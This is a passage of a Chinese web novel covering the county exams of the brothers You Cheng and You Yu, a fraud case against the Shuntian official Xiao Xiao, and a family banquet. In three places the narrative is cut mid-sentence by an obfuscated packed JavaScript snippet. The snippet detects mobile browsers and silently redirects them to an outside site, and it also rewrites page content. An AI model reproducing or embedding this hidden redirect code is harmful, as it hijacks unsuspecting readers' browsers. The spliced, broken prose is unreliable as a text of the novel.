赵斯拱手道歉，灯笼下，他的眼底似有泪光闪烁，“舍弟今日得二位公子相救，是我们兄弟三辈子积攒的福气！往后，若舍弟有得罪之处，还请二位公子多多海涵！赵某……就此拜别了。” 说着他躬身跪下了地，瞧着这架势，倒像要永别了。 游余忙将赵斯扶起来，“赵御史言重了！我与赵兄相识不过两天，却为他身上的诗情才气所吸引。不怕赵御史笑话，我今日与兄长前去千家胡同，也是想向赵兄讨教文章之道！不巧，赶上他受了伤。大家有同年之谊，岂会看他受苦？举手之劳罢了，实在无需言谢。” 赵斯却不肯起，非给他二人磕了头，“救命之恩，当涌泉相报。此生报答不了，下辈子愿做牛做马！” 这番话让游余听懵了，他回头看哥哥游乘，小声问，“赵御史这是怎么了？” 其中缘由细节，游乘自是心中了然。 此人被外派去西南，凶多吉少，所以，什么下辈子之言，全是发自赵斯真心。 “御史请起。” 游乘握住赵斯的胳膊，四目相汇，言语变得多余。而今，能让赵斯安心离京的，不过自己一声许诺，“赵御史放心，玄蒙兄是赵家的弟弟，更是才气精绝的士子！本朝开设科举，旨在制衡勋贵，重塑阶层，形成‘士大夫共治’。玄蒙兄这样的精英，理当通过科举选拔，纳入文官体系，助明君大展鸿图！” “二位公子皆有仁心。” 赵斯拜在游乘面前，泣不成声，“赵某便把弟弟赵决、托付给二位公子！” 马蹄远去，终是消失在滂沱雷雨里。 东面天际为闪电劈成两边，可转瞬间，那束白光暗淡下去，黑夜，还是黑夜。 “哥，你到底算没算出来？明日上京城，有暴雨吗？” 游乘刚放下脚盆就听游余这样问。他到窗前，今晚这场暴雨已歇，头顶几枚灿星一眨一眨，连成若有似无的图案。 他从袖中取出三枚铜钱，有字一面为阴，无字一面为阳，抛六次成卦。初爻，阴；二爻，阴；三爻，阳；四爻，阳；五爻，阴；上爻，阳。 游乘看向天际的雷电，“卦象显示，雷暴伴短时强降雨，三日后放晴。” 游余跳下床来，“明日第三场县试，还能开考么？” 游乘淡道，“恐怕不能。但若是雷暴，赵决便能在家养伤，为第三场养精蓄锐，也绝非坏事。” 23. 三场县试结束 游余被雷声惊醒，睁眼却没见同屋的哥哥。素日哥哥早起便在案边看书，或写文章，不知今日一早去了哪儿。 院中，雨丝倾洒，游余到里屋给母亲容氏问安。阿桔从外带回了县学的最新布告：因极端气候，县试停考，三日后重启。 事情都如昨夜哥哥卜算。游余松了口气，扶母亲容氏到桌前用早膳，又忍不住问起哥哥游乘的去向。容氏看着阿桔，“乘哥儿是虞次送的吧？他俩去哪儿了？” 阿桔笑道，“知道是知道，但乘哥儿料到余哥儿要问，特意叮嘱，不可说。” 游余转了转眼睛，“哥去千家胡同了，对不？” 阿桔不答，端着空托盘退出了门。 容氏按住游余的手，“坐下陪娘吃完这顿饭，然后乖乖在家等你哥。今日你哥不带你，自有他的用意。” 千家胡同，雨势正大。 游乘撑开油伞，瞧着脚下水洼，一时竟找不到下脚处。虞次从后跑过来，将手中青砖摆放在那水洼中，立刻有了一条通行之路。 虞次走前探路，游乘沿着他的路线，双眼掠过这道两旁的破败屋舍。一场暴雨未歇，失修的宅子已经塌了不少。他很担心，赵决和赵斯的家还在不在。 正想着，前头传来亲切的招揽声，似乎有好心人支起临时雨棚，为遭难的百姓发放热汤药和粥水。 待游乘走近，便认出站在棚下的中年人，“原来又是兄台。” 中年人佩剑，仍一身灰白，见游乘到来，立刻把药包交予身边人，绕到棚外，对游乘拱礼，“见过大公子！” 游乘扶起他，“介舟不知兄台是谁，已被兄台之仁义感动了。” 中年人笑了笑，朗声道：“某乃命生，谷之房牙行的掌柜。” 游乘忙躬身，“命生掌柜！前日您出手救了介舟的朋友，此大恩，无以为报！” 命生摆手，“药石乃是器物，真正救了赵家二弟的，是大公子您啊。” 头顶雨势忽大，游乘拉着命生往雨棚下走。 命生一回头，与熟人虞次撞个对眼。 “你，换主子了？”命生小声嘀咕。 虞次哼了声，“与你何干？” 命生讨了个没趣，不多问，只扔了条干帕给他，“快擦擦水，谁生病你也不能生病啊。” 虞次捏紧那帕子，“怎么？你家尔惑先生对我家乘哥儿有兴趣了？我可警告你！乘哥儿少一根头发，我家大爷和夫人都不会罢休！” 命生愣了下，“兄弟你冷静点？乘哥儿是你家大爷和夫人的心尖宝贝，更是我家先生的心头肉啊！他没事的！绝对没事！” 虞次嘴角一扯，“最好是这样！” 此二人的私语，自是没躲过游乘的敏锐听觉。他走在施药的案台后，看似查看药包，心下却神思万缕。他等命生靠近，一把攥住命生的手腕，疑道，“你究竟是何人？怎会认识我爹娘？” 命生吃疼，眉头微蹙，“某并非歹人，前日，还送过两块及第玉牌给二位公子。” 游乘低头看看腰间的长方玉牌，赶紧捂住。 命生却继续道，“这两块玉牌是在寒山寺求的，不似一般的椭圆形，而是长方形，且没有刻什么‘金榜题名’，而刻了‘乘势而为’、‘游刃有余’。” 都被他说中了，游乘却没松手，仍疑惑，“你家先生与我母亲是何关系？” 命生低头想了想，“算是……朋友？”又让游乘稍等，他进不远处的房牙行后门，取来只食盒。 打开，里面有一盒上京有名的桃花酥，与一枚工艺精巧的团扇，扇面上画着些庭院门栏。 “这是您母亲要找的分店房型图，有劳大公子带回侯府，交予夫人。” 开不足斋分店的计划，游乘在家中听母亲说过，便把这两样东西收下了。 虞次说前面路况不妙，请游乘在雨棚稍候。一盏茶的工夫，虞次探到了赵决家的情形，说：“真是万幸，那一片，只剩他赵家没塌。” 命生感叹道，“好啊！不枉我前日防微杜渐，帮赵家一起加固了院墙。” 游乘扭过头，“命生掌柜也会卜算？” 命生笑道，“某不会！是我家尔惑先生……略懂一点。其实，大公子不必太担心赵决，有某在此，可以暂时护他周全的。” 此话暗藏玄机，游乘看破了便问，“依掌柜之言，赵家兄弟过了这一劫，还有更大的劫难？” 命生抿唇，须臾，道，“那要看大公子求的是什么。如果您想保赵决，一世安康，仅仅是金创药、加固院墙这些，当然不够，大公子需再多费些心力。” 游乘看向手中的桃花酥与团扇，“能不能护住赵家兄弟，和这两样东西有关？” 命生起身拱礼，“有劳大公子，务必交给您母亲！” 回东园，早过了膳食时辰。 容氏亲自去做了一大碗雪菜笋片浇头面，端来，陪着游乘又吃了一点。 游余趴到游乘耳边，“哥，赵决家的宅子没塌吧？他伤怎样？” 游乘淡道，“都无事。不过，儿子此行，帮谷之房牙行的命生掌柜，带了点东西给母亲。” 容氏听言一怔，“嗯？什么？” “娘，千家胡同的外男给您送礼了！” 游余对容氏嘿嘿一笑，一把薅来游乘手上的食盒，打开一看，登时更傻了眼，“桃花酥？团扇？如此暧昧的礼物……娘啊，您把咱爹置于何地？” “你别乱动！这东西可是娘的宝贝。” 容芝把团扇塞回食盒里，“你哥俩把桃花酥分了，记得给你们四伯母和雅妹妹送一些。” 目送母亲从东园出去，游余拍拍哥哥游乘的胳膊，“大哥看出来没？咱娘与这团扇的主人，一定不寻常！” 游乘摸了摸腰间的及第玉牌，“我赞同你！此事恐怕由来已久，今日那人说，母亲送咱的玉牌，也是他主人转送的。” 游余吓得跌在椅子上，半晌才讷讷道，“……哥，我寻摸着，咱爹和咱娘感情出了问题，怕是快和离了？” 游乘一脸苦笑，“我哪知道。” 游余立刻拱他的袖子，“哥你快用金钱卦，算算爹娘的缘分！” 正午时分，礼部衙门会统一放饭，称“午衙空”，约半个时辰。 其署内设有公厨，厨役把午饭送到各个值房，但若属官公务繁忙，也可让家人送“朝食盒”到部衙。 差役推门进来时，游怜山正要动筷吃饭，听说容芝来送食盒，忙起身冲出门，一路跑去衙门外的街口，见到了容芝。 “出门急，我打包了正街的小馄饨，你，能吃的吧？” “是你来送的，毒药我也吃！” 容芝憋笑，将食盒交给游怜山，凑到他耳边，“我拿到尔惑的团扇了，也就是说，赵家宅子现在归我了。你随时可带人去搜证物。” 游怜山点了点头，“我这就去刑部衙门，找三弟。” 刑部值房比礼部复杂得多。 除了外层的尚书、左右侍郎值房，内层分成了十三司，每司分管各省对应的司法业务。 比如湖西司，职权是审理官员罪案，以及监控科举相关案。 游怜山刚来了刑部衙属门前，衙役认出他，问是否来找游郎中，领着游怜山进了院子。 此游郎中，正是游家三爷游怜钊。 十年前，游怜钊只是刑部湖西司的主事，正六品，如今游怜钊一路升职，成了湖西司的直隶主管，郎中，正五品。 但游怜山仍觉得，三弟游怜钊升得太慢了。 今岁，也是游怜钊在刑部的九年考满，因查案从去年十月顺延到了二月，游怜钊能不能升到“侍郎”，就看刑部尚书袁至诚的一笔批语了。 上月，他兄弟一起喝酒，游怜钊曾道出担忧，怕父亲游仁泰与袁至诚的不和，影响了考满结果。 这种担忧，不无道理。所以游怜山把三弟的愁记在了心里，这不就给三弟送来一桩可建功立业的科举大案么？ “顺天府丞肖骁，居然篡改了二十七桩童试、乡试的应举士子名册？” 游怜钊站在千家胡同的赵家旧宅，面色煞白。 那从墙缝暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16033771|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格里找到的厚厚一本名录、书信，着实让他这十年老刑部开了眼。 一旁的下属，也叹为观止，“此案牵涉顺天府大小官吏，不下二十人！请郎中大人快快拟定捕票！送部堂大人画押，请兵马司捉拿肖骁！” 游怜钊带着证物回刑部衙门，一盏茶之后就给刑部尚书袁至诚送了捕票。 袁至诚拿到，只看一眼便说，“查科举案，三郎是熟手，老夫信得过三郎。”说完盖上了官印。 当晚，兵马司的旗尉赶去案首顺天府丞肖骁家中，将肖骁从梦中抓起，关入了刑部大牢。 物证俱全，肖骁无话可辨。他披头散发，靠在牢房一角，又哭又笑。不多时，那些与他勾连的顺天府治中、儒学教授，统统来牢房里给他作伴。 大家有福同享，有难，却不能同当。 到天明时，断断续续有十多位官吏签了罪状，由家人交满赎银，免去或五十、或八十的笞刑回了家。 肖骁一看，急了。只要他供出背后贼子，戴罪立功，交了赎银，也能免去罪罚？ 于是他站起身，冲那看守的刑部官差喊道，“罪臣有密情禀报！” 游怜钊提着刀上来，“你，就是肖骁？” 肖骁伏地跪拜，“正是罪官，罪官有密情禀报，愿换一个补过的机会！” 游怜钊笑了笑，“那不行。尚书大人交代了，这件案子，你罪大恶极，且不符合赎死的条件，只等秋后问斩了。” 肖骁猛地抬起头，怒目赤红，“我要见礼部尚书李经章大人！我要见李经章！！” 游怜钊挠挠耳朵，示意一旁的差役，上去堵了肖骁的嘴，这才清净了。 次日一早，夜半停歇的暴雨又开始肆虐。 礼部尚书李经章刚下了轿子，正往宫门赶去，见路边一家书局半掩着门，里面透出烛火。他好奇哪家店铺如此积极，便看去一眼，谁知，撞上了一双熟悉的眼眸。 李襄手中牵着八岁的长子，另一手抱着二岁的小女儿，呆呆愣在了原地。 “襄儿，好久不见，”李经章走到她跟前，温声道。 李襄的眼眶涌出泪，哽咽起来，“女儿李氏给父亲问安。” 李经章的眼底亦泪光闪动，“这些年你在游家，受苦了。” 李襄低头不语。 八岁长子问道：“娘，他是外祖父？” 李经章半蹲，摸孩子的小脑袋，“三哥儿，真乖。” 李襄将孩子往身后拉，“父亲今日有何事？” 李经章环视这不足斋的分店，“游家大嫂让你管店，倒把你安置得不错。哦，还有，三郎昨日破获一桩科举大案，将升任刑部左侍郎了。这往后，你在游家的日子，会越来越好了。” 李襄诧异，“三郎要升？刑部袁至诚给了他‘考满称职’？这怎么可能？” “怎么不可能？” 李经章在货架上挑了一套茶具，让伙计包好，“此次，三郎查了我礼部的案，抽了我礼部的筋。刑部尚书袁至诚满意了，当然要褒奖你的三郎！可你的三郎根本不知道……” 见李经章的手伸向八岁长子，李襄侧身抱住长子，“此地是六部堂官必经，还请父亲谨慎。” 一语惊醒，李经章甩了甩手，提起包好的茶具往店外走去。 “三殿下很在意这孩子，襄儿要好生教养他啊。” 雷暴天气结束在三日后。 第三场县试，在日暮时分收了场。 游乘今日在场内场外找了许久，都没见到顺天府丞肖骁的身影。后来，他听刘与之说，顺天府爆出了惊天的科举士子名册操控案，肖骁作为案首，被判了秋后问斩。 得知这消息，最高兴的自然是游余。 他蹦蹦哒哒，跳到同考的士子赵决面前，道出了这天大的好消息。 “二公子所言，是真的？” “绝对保真！” 赵决的嘴角颤动，红着眼眶跑入了侧面的小巷。 游余和游乘追上去，见赵决正抱头痛哭，口中念着：“仇人得惩，阿兄，你安息了！” 24. 县试放榜 县试放榜那日，游余又早早赶去县学布告栏前。这次他仍输给了哥哥游乘，名字出现在第二，回府马车上，他却哼了一路小曲。 刘与之也在游家马车上，直说游余有点邪气，考第二好像比考第一还满足。游余反驳说，子应不懂，子应不如多操心考第四的自己，“勋贵子弟”竟输给“寒门士子”赵决。 刘与之知道他故意挖苦，毫不生气地笑笑，“玄蒙兄什么水平，彦维你比我清楚啊！我才不像你那般小气，我可以接受自己输给优秀的人。” 游余听言，大人似的啧啧两声，“唉——看子应自甘堕落，真叫人痛心疾首！” “什么就自甘堕落……”刘与之被气笑，一把抽走游余的束发绳，就势勒在了他脖颈里，“长幼有序，这个理，是半点也没被你放在心上！” 游余扯下发绳，大笑道，“是是是！我们子应是兄长，理应受弟弟我的尊敬。” 这话也不知怎的戳中了刘与之的心。忽地，刘与之的笑脸变沉，显得闷闷不乐。 游余用发绳刮他的侧脸，不见他还手，便软道，“子应，年纪大，也有年纪大的好处啊！” “比如？”刘与之侧过一点脸。 游余挠挠鼻子，“比如，子应的身量比我高，比我壮，真动手打起架来，我……绝对不是子应的对手！” 刘与之笑道，“我、不会欺负任何人的。” 游余想了想，尖着嗓子道，“那日在县学，赵决对我口出恶语，子应不是动手打了赵决？” 刘与之摇头，“那不叫欺负，叫还击！” 游余勾住他的肩，“子应一肚子的歪理！不过，那天幸好有子应在，你打赵决那一下，太解恨了！这将来，谁要是做了子应的妻子，定会是世上最幸福的女子。” “好端端，又提娶妻，”刘与之的脸垮得比翻书还快。 游余被他推开，这下总算看懂他在忧心什么，“原来，子应与我哥哥有同样的困扰。” 无辜顶锅的哥哥游乘，正研究手中的一篇小策论，闻言不觉抬头，“我有什么困扰？子应又有什么困扰？” 游余嘻嘻一笑，“媒婆上门说亲，踏破门槛了呗！” 登时，游乘低下了头去，“我对此事无兴趣。” 刘与之也说，“我也一样，无兴趣。” 见此二人，游余清清嗓子，捋了一把并不存在的胡须，“二位哥哥有无兴趣，不重要，重要的是‘父母之命，媒妁之言，不可违’。” 此言提醒了游乘，他看向十六岁的刘与之，不禁问道，“难道子应的父母已定好了婚配人选？” 刘与之冷笑一声，“定好又怎样？我不同意，没人能强迫我。”生为高门嫡子，子应应该有如此底气。 刘家和哪家联姻是刘家的家务事，轮不到外人多舌。对于此事，游乘不好相劝，只愿，刘家为刘与之挑的妻子贤良一些，开明一些，包容一些，就不求她能分担刘与之的忧愁了。 “或者，子应真不愿娶妻，可与父母坦白清楚，延到科举及第后再议。刘大人深明大义，应会体谅子应的。” 游乘的建议听来体贴入微，直说到刘与之的心坎里。 刘与之放下了眉梢的愁，点点头，“我会与爹娘讲明心意，倒也不是怕我爹，主要是我娘，她喜欢乱点鸳鸯谱……” 嗅到点八卦的气息，游余打听道，“子应被母亲点给了谁呀？” 刘与之长吁，“工部尚书府秦家的九妹妹，秦徐。” 游余歪着脑袋，看看游乘，“哥哥，你认识秦家九姑娘么？” 游乘苦笑一声，“真有趣！我几乎天天与你在一起，我认不认识秦家姑娘，你会不清楚？” 游余辩驳，“哥哥讲的不对。上次去千家胡同，就是哥哥偷摸一个人去的！” 游乘猛猛点头，“唉呀，我竟不知道，工部尚书府秦家搬去了千家胡同啊。” 拿下县试头名、第二，司宁侯府自是欢庆一片。 游乘和游余回府第一件事，便去正院给祖母邓氏请安。贞嬷嬷提议，此为大事，该办场家宴，阖府庆贺。四房白氏一听，忙转头问四郎游怜柑几时休沐。游怜柑算了算，正好是明日。 “家宴就定明日？老侯爷也在家，”贞嬷嬷看向邓氏。 邓氏当即拍板，“行，明日办家宴！”又吩咐管家郑伯，把准备好的烟花摆去府门前。 贞嬷嬷笑说，“摆好了，早摆好了！” 夜幕绽开第一朵烟火时，游乘和游余推开了东园的院门。 容芝等在屋檐下，张开手臂等兄弟二人跑过去。母子相拥在一起，哭的，却是一旁的阿桔。 虞次递给她方帕，阿桔便转身，抱着他哭。 这一幕看在了容芝的眼中。容芝心知，阿桔在东园十多年，为大房操心了十多年，阿桔对她的这份恩情，她会永远记得，也为耽误阿桔的婚事而愧疚，便喊了声“虞次”。 “夫人何事吩咐？”虞次严阵以待，颔首道。 容芝弯眉望着他，牵起阿桔的手，搭在他的手背上，“这么多年感情，你俩挑个吉日拜堂吧。” 游余扯住虞次的腰间刀鞘，“叔，以后不能欺负阿桔姑姑！” 游乘反应更冷些，只笑着道贺，“恭喜阿桔姑姑和虞次叔。” 东园的热闹一直持续到夜深。 四房游怜柑夫妻俩，陪容芝在前堂说话，二丫头游雅在南屋与游余玩闹。等游怜山回了家，四房游怜柑立刻道喜，没一会，二房游怜泉、三房游怜钊都各自来道了喜。 游怜钊刑部有紧急差事，来去匆匆。游怜泉在前堂坐了会，拿出两套大孩子尺寸的新薄袄，说恰好合适倒春寒穿。 容芝问起李氏，才知，这新袄是李氏亲手缝的，游乘、游余各一套，但李氏不敢来东园，怕见了游乘惹他心烦。 前程往事，各自心知肚明。容芝劝游怜泉莫急，起身去南屋喊来兄弟俩，让他们自己收礼物，并谢谢二伯二伯母。游余有模有样给游怜泉拱礼，道谢，轮到游乘时却冷了场。但见游乘到游怜泉面前，躬身半晌，挤出一句，“儿子谢谢父亲。” 游怜泉闻言，哽咽得双唇颤抖，“乘儿……长大了。” 可是游乘垂眸不语，抱上薄袄，与游余一并退出了堂门。 游怜山见游怜泉愣在原地，上前拍拍他的肩，用下巴点院门，“走吧，大哥送你回南园。” 时辰晚了，容芝去南屋喊游雅回四房，游余自告奋勇，一手提灯笼，一手牵二妹妹，一蹦一跳出了院门。留下容芝与游乘母子俩。游乘收拾桌上弄乱的书册，又瞥见放在一边的新袄，狠狠怔了一瞬。 “袄子的用料是上好的，针脚也好细致，”容芝拿起来细细看。 游乘回神，冷道，“母亲喜欢这料子，直管拆了它，重新做吧。” 容芝忙放回去，“新袄是二房的心意，我岂能强拆？还是说，在乘哥儿心里，我就是这般恶毒记仇之人？” 游乘用力摇头，“母亲自是心胸宽阔，狭隘、记仇的，是儿子自己！”边说边抬袖抹了抹眼泪。 容芝看着他哭，反倒笑了起来，“乘哥儿想哭就哭，别把什么都憋在心里，会憋出病的。其实，你有时该学学你弟弟游余，他成日嘻嘻哈哈，仇恨和烦恼从不过夜。” 游乘在案前坐下，慢慢冷静了，“儿子不敢瞒母亲，今日之前，儿子自以为可以忘却当年之事，可刚才一听母亲提到李氏，那股子恨，就自己冒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040032|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了出来！刚才是儿子失态，明日家宴上，儿子会给二房赔礼道歉的。” “道的什么歉？你不用道歉，刚才，你也根本没失态。面对二房，你不计前嫌，对游怜泉喊一声‘父亲’，便已是给了情面。事到如今，他们给你的伤害是无法挽回的。所以，该后悔、该愧疚的，仍是他二房，而不是你，乘哥儿。” 游乘听着再说不出话来，望着容芝，眼泪不住地淌下来。 “好了，叫游余见了你这副样子，他可不得了了！”容芝喊阿桔端热水，拧了帕巾递给游乘，“擦一擦吧。” 游乘擦了脸，到镜前整理了头发、衣襟，好整以暇回到容芝面前，“娘，儿子此生最大的幸运，便是遇上了母亲大人。” 容芝捋了下他的束发绳，“乘哥儿也是我此生最大的幸运！” 阿桔端两碗刚煮的热汤进来，游乘想起阿桔姑姑的婚事，问定没定好日子。阿桔害羞地笑红了脸，说她与虞次都没读过多少书，正想请游乘帮忙卜算一二。 游乘这次没用简易金钱卦，搬出了收在箱笼里的铜质星盘。自从六岁学《周易》，尊师袁敞送了他不少礼物，就属这一件，最得他欢心和爱惜。他上一次使用星盘，是为祖母邓氏的病情康复，当时的结果，十分地准。今日他用这星盘为阿桔姑姑测算婚娶吉日，以答谢姑姑十年如一日的照顾。 “五月二十日，”游乘依照星盘道出日期。 阿桔点头，“等五月里，乘哥儿和余哥儿就该府试放榜了！这日子甚好！” 热汤喝完，游乘的心绪彻底冷静，问母亲在千家胡同的分店几时开张。 容芝早猜透了他肚里藏着的话，便直接问，“你还没放下赵家那小子？想让赵决来我的分店帮工、赚钱？我买他赵家的宅子，付了五十两银子，够赵决用了。再则，他家兄赵斯一定也留了钱给他。” 游乘默了瞬，又问，“他家宅子卖了，现在住在哪？” 容芝笑了笑，“怎么？还想请他住进咱侯府？你这办法，也可行，但是，侯府有侯府的规矩。” 游乘起身，给容芝拱礼，娓娓道来，“有规矩当然要遵从。可是母亲，儿子听说，前日顺天府丞肖骁的案子，是三伯办的。三伯去赵家宅搜出的那些证据，是不是赵家哥哥离京时特意留的？” 容芝无意隐瞒，也瞒不过游乘，“是。” 游乘点头，“那儿子就有个疑问。三伯既拿了赵家收集的证据，为何还让赵家哥哥……没了？” 这件事背后的势力方极为复杂，连内阁的李经章、袁至诚都参与其中，不是一两句能解释清楚。容芝能告诉游乘的非常有限，“乘哥儿，前日上京雷暴，赵斯在离京路上被山洪冲走，这是谁也无法预知的，是天灾。” 游乘对此事的认知很清醒，“绝不是天灾！分明有人要杀人灭口！娘，你们说服赵家哥哥上交证据，就该履行对他的承诺！这是做人最基本的原则。” “可是赵斯没有提任何要求，”容芝道。 游乘不敢置信，“那晚他找我时，曾跪……他说，要把赵决托付给我。” 容芝望着游乘笑道，“你看，相比于我们大人，赵斯宁可相信你。既然你与赵斯有约定，便是你对赵斯的承诺。你答应赵斯，会照顾好赵决，这便是你自己的责任了。” 游乘再拱礼，“谢母亲解惑，儿子听懂了。” 容芝起身，“至于，你想让赵决入侯府……先找管家郑伯写好公文，再想办法获得你祖父的许可，由你祖父画了押，对内对外，这件事才说得通。” 次日司宁侯府办了一场家宴。 桌案边，自家叔伯婶婶们或举杯，或谈笑。游乘坐在父母下首，静待一个机会，向祖父游仁泰举荐赵决。 25. 府试备考 游乘正想办法开口，忽听祖父游仁泰击掌两下，家宴桌上便安静下来。 只见游仁泰起身，将第一杯酒敬给上祖，再倒第二杯时，四个儿子随之举杯起了身。按常规，此刻要吟诗寄情，但游仁泰并非科举出身，一般都免了这环，父子五人仰头满饮，作了罢。 而后，游仁泰的视线追到了长孙游乘的面上。 游乘明白是轮到自己这孙辈回话，便扯了扯身边二弟游余的袖子，兄弟二人起身给祖父作了揖。 游仁泰见了只是笑，抬高的手掌朝下压了几压，“此回长房俩孩儿县试夺得好名次，大郎和儿媳教养有功！二郎，你对乘哥儿也应该放心了。” 被点到的二房游怜泉立刻躬身道，“父亲所言极是。十年前若非父亲明断，十年间若非大哥大嫂用心，二郎实难想象得出乘哥儿会有如今的成长！” 听言，游仁泰朗笑，“说到成长，二郎的确该多努努力啊！你瞧三郎，他近来为圣上办的那桩科举大案，惊动上京，惊动朝野内外。听说，不少身负功名的士子都对三郎心生敬仰，要来上京见一见这刑部左侍郎游怜钊啊！” 一语落下，三郎游怜钊忙起身拱礼，“儿子受父亲教诲三十一年，受两位兄长指引十余年，才能有今日的小小建树。” 游仁泰听罢叹道，“三郎不必多说。为父都知道的，我公事繁重，心力尽用在了朝堂内，对家中儿孙的教诲，有欠、有愧。” 四郎游怜柑也起了身，劝道：“父亲此言折煞儿等！父亲为本朝兴盛，为司宁侯府繁盛，所行，皆是大举。” 游仁泰听了仍是叹息不住，也在这时，注意到他的大郎游怜山还稳稳坐着，便皱了眉头。 “大哥……”二郎游怜泉拉了把游怜山。 游怜山喝了几杯，脚下不稳，只见一个踉跄，险些撞去游仁泰身上，又吓得游怜泉面色一白。 游仁泰的眉头皱得更紧，“大郎什么都好，只是对为父这态度，太欠妥。”说完，独饮一杯。 挨训的游怜山转过眼，看着游仁泰，深深一躬，“父亲不满儿子，儿子给父亲赔不是了罢。” 游仁泰看也不看，口中喃道，“大郎自己如此德行，真不怕教坏两个孩子……”说着又饮一杯，颇有扫兴之意。 “由此可见，孩子的德行好坏，压根不在父辈，而在母亲啊。” 游怜山举一杯酒到母亲邓氏面前，敬道，“儿子受母亲教诲三十三年，这杯酒要敬给母亲。” 邓氏握住游怜山的手，忙说，“大郎这杯，我喝。” 又看向老侯爷游仁泰，“庆贺的日子，你……喝酒就喝酒，少念叨几句吧。” 游怜山稍松了眉头，应是看在邓氏面上。 却听游怜山又傻笑一声，拱礼手也摆不稳，醉醺醺道，“儿子刚才的话还有后半句！儿子想说，影响孩子德行好坏的关键，其实是老师！” 话音未落，游仁泰把酒杯撂在桌上，一声脆响。 见势不对，邓氏第一个按住游仁泰的胳膊，“别。阿怜说的全是醉话，你是长辈听着便是，何必与他计较？” “我……”游仁泰双唇抿成直线，仰头，饮尽第三杯。 提到孩子拜师的话头，三郎游怜钊是有话想说的。 游怜钊正要开口，手已经被身边的李氏拉回来。 游怜钊不解，对李氏道，“拉我做甚？今日家宴，本就为贺乘哥儿、余哥儿县试捷报，咱编哥儿今年也八岁，一直没拜到合适老师，我抛出问题来，一家人想想办法，怎么不行了？” 李氏低着头，没说话。 游怜钊抽回自己的手，双目灼灼，“父亲，编哥儿身弱是娘胎带的，儿子当年没照顾好他母子俩，现下便得了报应，再想让编哥儿走武举路，也是无望了！” 三郎游怜钊在刑部的努力，全府上下皆知。 十年前，李氏自愿去寒山寺礼佛，外人瞧着，也有不堪夫妻长期分离的原因。毕竟三郎一年才回一次家，李氏怀上游编，是在九年前。她身边无人开解，因忧思过重，病倒好几次，之后，又碰上了难产。 总之，三房长子游编跟着李氏吃了太多苦，七岁才开口说话，才学会喊爹娘、爷奶。 但是府上谁不知道？ 以游编的状态，别说考武举，能找个老师，将他教导成个正常孩子，已是难事了。也为了给游编找老师的事儿，老夫人邓氏和三房李氏，连四房白氏都操了不少心，但遍寻上京，有实力教游编的，又怕教不好要背责任，由此，游编的开蒙被耽误到眼下，八岁还认不得几个字，更别提看得懂《千字文》之类的书。 “事到今日，儿子深知，自责是无用的。我只求能找到个耐心的驻家老师，陪伴编哥儿，教些通理，让孩子将来少受些骗，罢了！” 三郎游怜钊一想起长子游编，就热泪盈眶，满心愧疚。只是，他的话说完，本就安静的桌边更无人敢出声了。 游编的教导确成问题，其母李氏最近接手了不足斋书局的分店生意，更分不出精力照看游编。现下，李氏听了三郎游怜钊的话，眼泪从脸颊滑落，没哭出声，只肩头颤得厉害。 容芝轻握了握，摸到李氏嶙峋的肩骨，竟这么瘦弱。 李氏抬起泪眼，喊了声，“……大嫂！” 容芝抿唇点点头，“我懂我都懂，三弟妹不必多说。” 如此一来，李氏的泪更忍不住，便转身紧抱容芝，哭出了声。 容芝替李氏抹泪，也抹自己的泪，“此事也怪我欠考虑，不知三弟对这开蒙老师有什么要求？详细些说？若我认识合适的人，定推荐给三弟，了了三弟心愿。” 三郎游怜钊思虑片刻，低道，“岂敢有高要求？人品正直，通晓四书五经，足以。哦……字迹端正，更好！” “如此，我得好好地寻摸，”容芝面上做思考状，却在桌底下，悄悄踢了游怜山一脚。 趴在桌上的游怜山，睁开眼睛，咕哝道，“三弟想找驻家老师，怎么没问乘哥儿、余哥儿？他俩身边，不全是会读书的？” 此言一出，邓氏和几个叔伯看向了沉默的游乘游余。 老侯爷游仁泰也转回头，不问游余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049706|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，只道，“乘哥儿，你可有合适的人，推荐给你三伯？” “孙儿……” 游乘悄悄看了眼母亲容氏，见她低眉抿唇笑，就什么都看懂了。 昨日，他与母亲谈及赵家赵决的安顿问题，母亲话里话外都想让他自己担起责任，自己想办法获得祖父同意。可到了今日家宴，母亲却与父亲导演这场好戏，一步步将他推到这合适的时机上，为他创造举荐赵决的良机。 机会难遇，游乘明白不可急躁，便在开口前，先从袖袋取出白纸黑字，正是前日他在县学榜栏前借来的一篇考试小策论，出自赵决之手。 “让四伯瞧瞧？”那张策论被四郎游怜柑接过去。 四郎游怜柑在国子监供职，虽因脸上疤痕无法讲学，自身学问却不浅，写的文章曾得好几位大学士赏识。 在侯府大事上，游怜柑没有开口的资格，但要评文章的好坏，是颇有发言权的。 “四郎以为如何？”游仁泰问道。 